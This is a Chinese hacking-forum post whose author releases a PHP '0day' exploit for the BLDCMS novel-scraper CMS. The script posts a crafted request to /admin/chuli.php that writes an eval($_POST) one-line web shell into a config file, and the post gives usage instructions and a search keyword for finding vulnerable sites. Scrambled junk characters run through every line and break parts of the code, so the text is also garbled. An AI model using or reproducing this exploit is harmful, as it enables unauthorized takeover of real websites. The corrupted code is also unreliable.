之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
. I, e/ t" F, i* c8 o
! \7 u* q+ }: A5 N ! T% s3 K K$ e1 c5 s4 V* W) [
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 ! q+ Y+ g0 R, V5 ?- e# S
9 K. r5 U: O$ ^既然都有人发了 我就把我之前写好的EXP放出来吧5 _9 j/ U- R. x
+ X2 b+ V0 r% ]5 R/ D9 \view source print?01.php;">
/ T2 \+ \2 K( i+ ?+ ~& r' H02.<!--?php+ C: b8 `, \- w- k: k( n
03.echo "-------------------------------------------------------------------& p' ~4 R7 n8 ?
04.
* A# ^3 S* X _6 L: Z9 V/ H/ u05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
% g% a: { d2 L4 T" _, N7 R06. . J0 m: a: n% M' U0 H
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun
% ?2 y# J, e ?! N! n9 c08.
# T) B0 G& L/ `, j09.QQ:981009941\r\n 2013.3.21\r\n
; g) n. h' Q5 |10.
* p6 z+ [! W6 F7 ^11. & f& P0 m. V7 ?7 l7 [. h2 Y
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码/ A2 r; l" d! J0 x3 n9 B
13. 9 s* e! k( X9 c! i" g
14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
1 N+ v% i- L1 r0 v- d15. $ F) Q& i. @" O+ o( {+ l j+ C
16.--------------------------------------------------------------------\r\n";
- n- N& u0 K8 m17.$url=$argv[1];4 Q, d2 q/ d1 ?2 A
18.$dir=$argv[2];7 d# ]$ ] o) t5 m$ Q2 U
19.$pass=$argv[3];% i3 n. \- ?+ Y9 {+ [% l# @
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';# I2 i( G$ m: x' e
21.if (emptyempty($pass)||emptyempty($url)), j' r& A7 l# m2 `$ H& I
22.{exit("请输入参数");}2 D% P! s4 ]6 I; c( E) ^
23.else
2 |7 O8 J! G& h24.{
) P9 x0 P: q2 n25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev$ K+ S9 U3 x- p3 x, e0 ^' L
26.
. {% F: ]! }0 `27.al;
2 o0 P5 f5 b, ]9 n o28.$length = strlen($fuckdata);' I1 y$ {" x' P: g4 H
29.function getshell($url,$pass)
* {8 H5 {! a7 Y2 o- D30.{
; _; z3 I( S+ l8 v0 ~3 P; ^, @31.global $url,$dir,$pass,$eval,$length,$fuckdata;
( g0 g: @6 m& m, E6 e$ g4 b32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";; G* l' Z& K+ B# i% I# m t# Z
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
& @ i* a9 u6 g. N: O34.$header .= "User-Agent: MSIE\r\n";
0 ^! ^+ u1 S5 i' R35.$header .= "Host:".$url."\r\n";
$ Z! n8 e7 @3 j/ {1 q* W36.$header .= "Content-Length: ".$length."\r\n";
2 Q$ w5 P8 A Z, R/ x37.$header .= "Connection: Close\r\n";4 a( k0 v* X- a8 W& k8 @5 `2 s
38.$header .="\r\n";
1 A5 F8 }) n" ^* G39.$header .= $fuckdata."\r\n\r\n";
* K9 u, `3 k/ g }8 n/ e40.$fp = fsockopen($url, 80,$errno,$errstr,15);& V; J* D- R9 h, v) n
41.if (!$fp)
" `& e5 ^! x2 k5 z* @42.{
/ {5 D. n Y8 R$ X. h1 y" v) w" E43.exit ("利用失败:请检查指定目标是否能正常打开");
& Q1 g2 M' m: l7 r" J& _1 ]44.}
7 Y$ `' h( d9 R. o" j45.else{ if (!fputs($fp,$header))
% ^- H9 B6 U3 ^46.{exit ("利用失败");}
& p t2 y, t$ g4 u0 G7 L* ^- {47.else) r$ c! \' J w8 Y0 H* c, f% e
48.{$ N/ }2 B5 C. B/ ~! h. [3 g
49.$receive = '';
. L1 A% }5 k. W j, w; u9 ?2 e50.while (!feof($fp)) {
% K/ a: N' x' o1 I& v- g3 [9 O51.$receive .= @fgets($fp, 1000);
5 {" ]/ s' z( X( q52.}+ \; q( D! U, }. o
53.@fclose($fp);
' @; P5 L$ @ o+ q* T _8 u% \54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
( f7 i5 T H' u3 x% v5 E0 T55. - Q9 V; s% D& U3 j% N9 D, x2 h
56.GPC是否=off)";
% M; Y) {! ~+ V5 k* u3 ?57.}}2 H! f7 V+ s5 Y# R
58.}
1 y: k( S- A* E3 K; A! H" a' u59.}
7 T2 D# j/ c) x9 Y# c60.getshell($url,$pass);
% L3 s) Y/ U% z" T+ n2 I. k) q% ]61.?-->
& h) d5 C- }+ ~" d: l : J+ O" V7 e" l5 G
( ?+ t! i. C3 U, c9 L
! T5 ]# {3 {. r6 M" f0 j0 s, w4 M
by 数据流
6 p, M. ?% W) E6 j6 S4 o( g |